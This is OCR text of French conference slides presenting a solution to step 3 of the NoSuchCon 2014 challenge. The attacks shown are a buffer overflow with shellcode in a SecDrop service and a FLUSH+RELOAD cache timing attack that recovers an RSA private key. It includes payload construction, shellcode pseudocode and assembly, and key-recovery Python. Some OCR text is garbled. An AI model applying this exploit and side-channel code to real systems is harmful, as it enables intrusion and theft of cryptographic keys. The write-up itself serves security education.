securedrop/servers/xinetd.conf/secdrop
securedrop/servers/xinetd.conf/stpn
|securedrop/servers/STPM
securedrop/1lib/
|securedrop/lib/11bsec.so |

Listing 9: Extraction of the step 3 archive
o lib/libsec.so
o servers/STPM
o servers/SecDrop

- Binaires x86-64
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ETAPE 3 : Découverte de I'archive

$ tar xzvf securedrop.tar.gz
securedrop/

securedrop/client/
securedrop/client/client.py
securedrop/archive/
securedrop/archive/messages
securedrop/servers/
securedrop/servers/SecDrop
securedrop/servers/xinetd.conf/

securedrop/servers/xinetd.conf/secdrop
securedrop/servers/xinetd.conf/stpn

securedrop/servers/STPM
securedrop/1lib/
securedrop/lib/libsec.so

Listing 9: Extraction of the step 3 archive
o servers/xinetd.conf/secdrop
o servers/xinetd.conf/stpm

- Fichiers de configuration
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ETAPE 3 : Reverse basic du fonctionnement

client SecDrop
PASSWORD\n
RSA_encrypted_AES key\n "
>
AES_encrypted_message\n
AES_encrypted_message ("0DK")
I I

RéSIST — Solution du challenge NoSuchCon 2014 / 17 février 2015
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Reverse SecDrop

¢ Binaire accessible sur le réseau (port 1337)
¢ Service de réception de messages

¢ Rétro ingénierie :

{

v2 = 1;

fwrite("Unable to setup seccompi\n’, 1uLL, 8x18uLL, stderr);
}
else

if { read{®, &buf, @x21uLL) *= 33
Il {(v9 = 4200288LL, memcmp{&buf, “UBNtYTbYKWBeo12cHr33GHREdZYyOHMZ\n", 8x21uLL}} )

v9 = 4280051LL;
write(1, ""WRONG PASSWORD!\n', 0x18uLL):;
SEC exit{1LL);

sub_480FBO(v7, v9);
SEC_exit{8LL);

}

}
}
else
{

v2 = 1;

fwrite{"Unable to convert socket to stream\n", 1uLL, 8x23uLL, stderr};
}
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Reverse SecDrop

Open argv([2] as a file to save messages
Connection to STPM service| on localhost:2014
Restrict allowed syscall to sys_read, sys_write, sys_exit

Handle of user’s input:

passwd = read(stdin,33)

if (passwd=="UBNtYTbYKWBeo12cHr33CHREAZYy0OHMZ ") {
Receive encrypted key as K
send "3\n2\nO\nK" to STPM through socket
Receive encrypted message as M
Send "2\n2\nM" to STPM through socket
Store encrypted key and message in log file

}

client SecDrop STPM
PASSWORD\n
RSA_encrypted_AES key\n ” 3\n2\n0\nRSA_encrypted_AES key
> = >
AES_encrypted_message\n < 2\n2\nAES_encrypted message

v

AES_encrypted_message ("0K")

AES_encrypted_message ("O0K")

&
<

Thales Communications & Security I l I A L E s
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EERERU A

¢ Rétro ingéniérie STPM

: switch { vo )

case "4':
v2 = export_key({v1);
goto LABEL_6;
- case "3':
I v2 = import_key(vi);
I goto LABEL_6:;
case "2':
v2 = message_decrypt{vi);

|LaBEL 6:

©

I | if { v2)

g i goto LABEL_7;
3 ; continue;

~ case "1':

3 = print_keys{v1);
é I continue;

< I case '5":

Q SEC_exit({OLL);
S ' continue;

§ ' default:

° LABEL 7:

g i result = 1LL;
T : break:

S ' }

=}

o ! }

c

% [ return result;

5

(2]

o

2}

(7]

Q

4
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Reverse STPM

¢ Software « Trusted Platform Module »
o Stocke des clefs (16 emplacements pour des clefs RSA ou AES)
o Réalise les opérations de chiffrement et de déchiffrement
¢ Ecoute sur le réseau local (port 2014) et accepte les commandes
suivantes :
o 1 : print_keys : Affiche toutes les clefs du STPM (parties publiques)
o 2 : decrypt(key id,message) : déchiffre le message avec la clef key id
o 3 :import_key(key _id,key,ciphered AES key)
e Recoit ciphered AES key chiffré en RSA avec la clef key id
o Déchiffre la clef AES et la stocke a |’ index spécifié
0 4 : export_key(index,key)
e Renvoie la clef AES a I’ index spécifié chiffrée en rsa avec la clef key

0 5: exit
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¢ Reverse MIPS

Rétro ingénierie et analyse statistique

¢ Evasion d’'une sandbox Python Pickle modifiée
Attaque sur AES-128 (padding oracle)
Exfiltration de données (XML External Entity)

Evasion de la sandbox Pickle

+ Exploitation x86-64 de services cryptographiques distants
o Exploitation d’un buffer overflow

Timing cache attack sur RSA
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ETAPE 3 : Buffer overflow dans SecDrop

+ Par rétro-ingénierie identification d’une fonction vulnérable
// pseudo-code
int read_user_message(int fd, char xdst) {

char r char;
- ! Lecture d’'un caractére sur I'entrée

int 1 = 0;
while (1) { o
r_char = SEC_fgetc(fd);
if ( r_char == -1 || r_char == '\n') {
return r_char;
¥

dst[i++] = r_char;

}

¢ Fonction utilisée
o Pour la lecture de la clé AES chiffrée par RSA

o Pour la lecture du message chiffré par AES

RéSIST — Solution du challenge NoSuchCon 2014 / 17 février 2015

Thales Communications & Security I H A I E s



ETAPE 3 : Exécution de code arbitraire

client SecDrop

PASSWORD\n

>
overflow+ROP+shellcode\n R
I llll:iflll
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ETAPE 3 : Exécution de code arbitraire

+ Utilisation du buffer overflow pour réécrire le pointeur d’instruction

jmp_rsp=0x00400F61
password="UBNtYTbYKWBeo1l2cHr33GHREdZYyOHMZ"

payload=""
# password
pay load+=password+"\n"

# overflow
payload+="A"%x12072

# Jump to shellcode
payload+=addr(jmp_rsp)
# write shellcode
payload+=shellcode()
payload+="\n"

+ Utilisation d’un gadget pour continuer I’exécution sur la stack
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ETAPE 3 : Exécution de code arbitraire

¢ Exploits classiques impossibles

¢ Les « syscalls » sont limités a READ, WRITE, EXIT (avant I’exécution
du shellcode)

if ( ctx

&& seccomp_ rule_add(ctx, O0x7FFF0000u, OLL, 1lu, 0x40000000C » OLL, OLL) >= C
L) && seccomp rule add(ctx, Ox7FFF0000u, OLL, 1lu, 0x400000000LL, 41LL, OLL) >=C
= — —
P && seccomp rule add(ctx, Ox7FFF0000u, 1LL, 1lu, 0x40000000C LL, 1LL, ) >= ¢
E && seccomp rule add(ctx, Ox7FFF0000u, 1LL, 1u, 0x400000000LL, 2LL, OLL) >= C
E && seccomp rule add(ctx, Ox7FFF0000u, 1LL, 1, 0x40000000C LL, 3LL, 0LL) >= (
<
S && seccomp rule add(ctx, Ox7FFFO0000U , 1LL, 1lu, 0x400000000LL, 4LL, 0OLL) >= C
S && seccomp rule add(ctx, O0x7FFF0000u, €0LL, 0, 0x40000000C LL) >= C
% && seccomp load(ctx) >= 0 )
2 {
S
S seccomp release (ctx) ;
g result = 0LL;
s }
IS
=
[
(]
L
2]
(0]
©
x
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ETAPE 3 : Shellcode STPM printKeys

¢ Ecriture d’un shellcode pour exécuter la fonction printKeys sur le
STPM
key O0: ASYMETRIC
. iene . . C = 0x000000B740DF8EET:
. Re_utlllsatlon des descripteurs de fichiers o = 0%00010001
existants q = PRIVATE :)
_ . key 1: SYMETRIC
o Vers le STPM : socket déja ouverte k = SECRET :)
o Vers le client : socket déja ouverte key 2: EMPTY
2 key 3: EMPTY
5 key 4: EMPTY
£ key 5: EMPTY
= key 6: EMPTY
S [ctsens | = key 7: EMPTY
Py client SecDrop STPM
8 PASSWORD\n key 8: EMPTY
@ overflow+ROP+shellcode\n ;:? key 9: EMPTY
3 g2 f\n key 10: EMPTY
éc, J result of printKeys()\n - key 11: EMPTY
2 result of printKey()\n
5 key 12: EMPTY
5 — e— e key 13: EMPTY
3 key 14: EMPTY
. key 15: EMPTY
ﬁ
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ETAPE 3 : Indices

Synacktiv @Synacktiv 23 Sep
Hint #NoSuchChallenge: No RDTSC with SECCOMP_MODE_STRICT,
but it works with SECCOMP_MODE_FILTER if not explicitly

forbidden via PR_SET _TSC

== Synacktiv ¥ Follow
Synacktiv
1 @S)

Hint #NoSuchChallenge - level 3: control $rip and
attack the cache to get some cash
5:57 PM - 23 Sep 2014

6 RETWEETS - 23 X
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¢ Reverse MIPS

Rétro ingénierie et analyse statistique

¢ Evasion d’'une sandbox Python Pickle modifiée
Attaque sur AES-128 (padding oracle)
Exfiltration de données (XML External Entity)

Evasion de la sandbox Pickle
+ Exploitation x86-64 de services cryptographiques distants
Exploitation d’'un buffer overflow

o Timing cache attack sur RSA
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ETAPE 3 : FLUSH+RELOAD timing cache attack

+ Recherche d’attaques par canaux auxiliaires utilisant le cache
o Premiere tentative sur AES mais blocs de cache trop grands
o Attaque sur RSA

¢ FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-Channel
Attack par Yuval Yarom et Katrina Falkner

o Attaque viable lorsque I’ attaquant et le processus attaqué sont sur la méme machine
o Une partie de la mémoire doit étre partagée entre les deux processus
o Exploite I" information side-channel du temps d’ accés a une zone de mémoire

e Sil information est lue en RAM : temps d” accés long

o Sil information est lue dans le cache : temps d’ accés court

- Possibilité de surveiller une portion du code de la librairie partagée

Source :https://eprint.iacr.org/2013/448.pdf
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ETAPE 3 : FLUSH+RELOAD timing cache attack

¢ Principe du canal auxiliaire utilisant le cache L3

STPM |A

> X cycles CPU

(=)

o Chargement du cache par ligne (64 octets)

o Le cache L3 contient autant des données que des instructions
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ETAPE 3 : FLUSH+RELOAD timing cache attack

¢ Principe du canal auxiliaire utilisant le cache L3

< X cycles CPU

=

> X cycles CPU

¢ Flush and reload

while true:
a = Measure time
access memory zone
b = Measure time
flush memory zone from cache

if b-a < mean_access_time:

the memory zone was accessed by another process
else:

the memory zone wasn’t accessed
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ETAPE 3 : FLUSH+RELOAD timing cache attack

¢ ldentification des seuils

7077

Cache Cache
hit miss
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ETAPE 3 : Exponentiation modulaire par square & multiply

¢+ Pseudo Code de I’ exponentiation square and multiply

Bignum modpow(Bignum base, Bignum exp, Bignum m) {
Bignum result = 1;
while (exp > 0) {
if (exp & 1 > 0) {
result = (result * base) % m; #MULTIPLY

3
exp >>= 1;
base = (base * base) % m; #SQUARE
}
return result;

}

http://fr.wikipedia.org/wiki/Exponentiation modulaire
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ETAPE 3 : Rétro ingénierie de la bibliothéque crypto

+ La librairie partagée propose plusieurs fonctions classiques d’ une
librairie de crypto parmi lesquelles :

o Chiffrement et déchiffrement RSA (SEC_unwrap et SEC_wrap)
o Chiffrement et déchiffrement AES (SEC_decrypt et SEC_encrypt)

¢ Mais aussi : fonctions de lecture et d’écriture
o SEC_fgetc
o SEC_fprintf
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ETAPE 3 : Rétro ingénierie de la bibliothéque crypto

r Aoy [renst +hinum o«
byte ptr [rax],
sNnort 10C_3o56bU

loc_3560:

mov rdi, ri2 di

call sub_2680 multiply

mov eax, [rsp+ +var_44] rar, riz

test eax, eax sub_2680

jz short loc_35A3 eax, [rsp+68h+var_44]
eax, eax

short loc_3570

, [rsp+ +var_58] mov rsi,
"ax, rax mov rd
short loc_35BE call square

- ldentification des adresses a surveiller pour identifier
SQUARE et MULTIPLY
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82 ETAPE 3 : Application de FLUSH+RELOAD dans un shellcode

Main memory

p

SEC fgetc

SEC unwra

SecDrop

¢ STPM et SecDrop utilisent des fonctions exportées par libsec.so
¢ SEC_unwrap utilise le code de SQUARE et le code de MULTIPLY
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ETAPE 3 : Application de FLUSH+RELOAD dans un shellcode

Main memory

p

SEC unwra
SEC fgetc

Shellcode

SecDrop

¢ Le shellcode mesure le temps d’acces au code de SQUARE et le
temps d’accés au code de MULTIPLY
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84 ETAPE 3 : Application de FLUSH+RELOAD dans un shellcode

client SecDrop STPM

PASSWORD\n
overflow+ROP+shellcode\n

N
el

21% 3\n2\n0\nRSA_encrypted_AES key

Mesures

Y

results\n

A
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85 ETAPE 3 : Application de FLUSH+RELOAD dans un shellcode

¢ Génération de ’ASM avec python

o Retour a la ligne (0x0a) interdit : XOR avec une autre valeur

o Calcul des offsets 77

// shellcode pseudo code
//

¢ Génération du
out= H

shellcode avec NASM stpm_socket.send('3\n\2\n@\n'+encrypted_key);
for( i=0; i < max_measurement; i++ ) {
mult_hit = do_measurement(multiply_addr);
if ( mult_hit ) {
0Ut+=“1“;
via 'overflow dans le Yelse{
square_hit = do_measurement(square_addr);

¢ Envoi du shellcode

% message if( square_hit ){
é OUt+="2";

8 Yelse{

;': Out+=n®n;

s }

E }

§ consume_cpu_cycles();
3 }

5 client_socket.send(out);
ﬁ EXlt(Q);
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86 ETAPE 3 : Application de FLUSH+RELOAD dans un shellcode

¢ Génération de ’ASM avec python

o Retour a la ligne (0x0a) interdit : XOR avec une autre valeur

o Calcul des offsets 77
// shellcode pseudo code
/! Réglages complexes

¢ Génération du
out= H

shellcode avec NASM stpm_socket.send('3\nY2\n0\n'+encrypted_key);
for( i=0; i < max_measurement; i++ ) {
mult_hit = do_meagurement(multiply_addr);
. L f mult_hit
+ Envoi du shellcode ' (ouL::l..; ) 1
via 'overflow dans le Yelse{
message square_hit
if( square_
out+="2]
}else{

do_measurement(square_addr) ;
it ){

consume_cpu_cycles();

}

client_socket.send(out);
exit(0);

Thales Communications & Security I H A I E s
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ETAPE 3 : Application de FLUSH+RELOAD dans un shellcode

measurement:
mfence
1fence
rdtsc
1lfence
mov rll, rax
mov rsi, [addr_2_watch]
1fence
rdtsc
clflush [addr_2_watch]
sub rax, rll
mov rll, rax
sub rl1l, 200
test rill,rill
jns next_measurement
jmp save_hit_on_addr
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//

//

//
//
//

//
//

get CPU cycle count into rax

read memory address
get CPU cycle count into rax

flush cache
rax = measurement2 - measurementl

if delta > 200 : go to next_measurement
else: save_hit_on_addr
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ETAPE 3 : Mesures

HItS Fin de I'opération d’exponentiation

l o & e ¢ (] [l Onohit

® hit sguare
® hit multiply

0 20,000 40,000 60,000 80,000 100,000 120,000 140,000 160,000

Mesures
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ETAPE 3 : Mesures

Hits

@ noc hit
® hit sguare
® hit multiply

1,200 1,400 1,600 1,800 2,000 2,200 2,400

Mesures
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ETAPE 3 : Reconstruction de I'’exposant privé

¢ ldentification des blocks

1 1 1 1 0

|_: T
! [—
® nc hit
® hit sguare
®hit multiply
1,500 1,600 1,700 1,800 1,900 2,000 2,100

¢ Récupération des 1377 bits de I’exposant privé

o Plusieurs tentatives pour récupérer la clé : sélection de 'occurrence la plus
fréquente

¢ L'exposant privé est retrouvé en retournant les bits recus
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ETAPE 3 : Message archivé

$ tar xzvf securedrop.tar.gz
securedrop/
securedrop/client/
securedrop/client/client.py
securedrop/archive/

securedrop/archive/messages|

securedrop/servers/
securedrop/servers/SecDrop
securedrop/servers/xinetd.conf/
securedrop/servers/xinetd.conf/secdrop
securedrop/servers/xinetd.conf/stpn
securedrop/servers/STPM
securedrop/1lib/
securedrop/lib/libsec.so

Listing 9: Extraction of the step 3 archive

-> Clé AES chiffrée par RSA
> Message chiffré par AES

New mecscanas *
-

OCB4SAFEOA7C1 1B2FO83C32E7FDBOFSACO3198D84D9S890B26D6443B1D185A36A235A561BBOSFESS7858371311
B2ADEDFE7SE199667637EDEA7BOSC14A158ASFEFFE1ISA1C14DADSOSFDCOF846530EDDAFE3ESGFAF98571CD45F1
1190EDS31FCO40D62C2C2EOQSFO97 72235808097 763157F140FE4AS7DBE6ADS0O2DSS62F1 2BDFC1547CED3E28260
4255B2A5331373CAEESS7CC825DDEAO3C3D2D7B106E4AD15347BCBS067BDCE60376FF1CC133F2C14
Sd4ldbbadalubbbeddesddT b2e9cCcaT Ube 3488/ 30D /D830/810CT LOUbY351 23T 9/acobnbe2dd4ulol2d1l8/ /obd
7bdob8b40929f5b4a1871bad44c94038793f 0aa639b9d71d72d2accfcc95671c77a5c1c32bec813b0481Sdeh1f0
8b59d6a7atb3b34462ac6abb69ch70acch24d78389a1777c5244b8063c542¢cc1f6c6db8d41d32df 2e7132e21d
b8alcc711c1a97c51ba29f 1d1ac8faS01a902b2a987f 07647341 8b8cd2d476200e7ae62a424e2930d8b029409
d0eSel13d4ellf4bSfSccl1263f 41b500b4340b8641465bbhcS56c64a575f 0ee215d02dea3d75552328cf5742¢
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ETAPE 3 : Déchiffrement de la clé AES

d = int(d_binary[::-1], 2)

I

Bits obtenus par cache attack, inversés
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ETAPE 3 : Déchiffrement de la clé AES

d = int(d_binary[::-1], 2)

encrypted_key = int(encrypted, 16)

[

Clé chiffrée RSA depuis le message archivé
(hexa)

2015
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ETAPE 3 : Déchiffrement de la clé AES

d = int(d_binary[::-1], 2)
encrypted_key = int(encrypted, 16)

pow(encrypted_key, d, n)

|

modulus

clear_key_value

2015
Il
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ETAPE 3 : Déchiffrement de la clé AES

d = int(d_binary[::-1], 2)

encrypted_key = int(encrypted, 16)

clear_key_value = pow(encrypted_key, d, n)

2015

decrypted = ‘%0X’ % (clear_key_value)
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ETAPE 3 : Déchiffrement de la clé AES

d = int(d_binary[::-1], 2)

encrypted_key = int(encrypted, 16)

clear_key_value = pow(encrypted_key, d, n)

decrypted = ‘%0X’ % (clear_key_value)

print decrypted[-32:]
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ETAPE 3 : Déchiffrement du message chiffré

$ python2 decrypt_msg.py

Good job!

Send the secret 3fcba5eldbb21b86c31c8ae490819abb to
82d6elal4a8ca30082e8lad27dec7cb4@synacktiv. com.

Also, don't forget to send us your solution within 10 days.

Synacktiv team

2015
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Conclusion

+ Challenge tres formateur

¢ Découverte des attaques crypto
o Timing cache attack — fonctionne dans la Vraie Vie ™

o Padding oracle
¢ Code disponible :
https://github.com/polymorf/NoSuchCon-Challenge-2014
¢ Merci a NoSuchCon et Synacktiv

¢ Quelques solutions
http://www.nosuchcon.org/#challenge_result (solutions officielles)
http://doar-e.github.io/ (step1)
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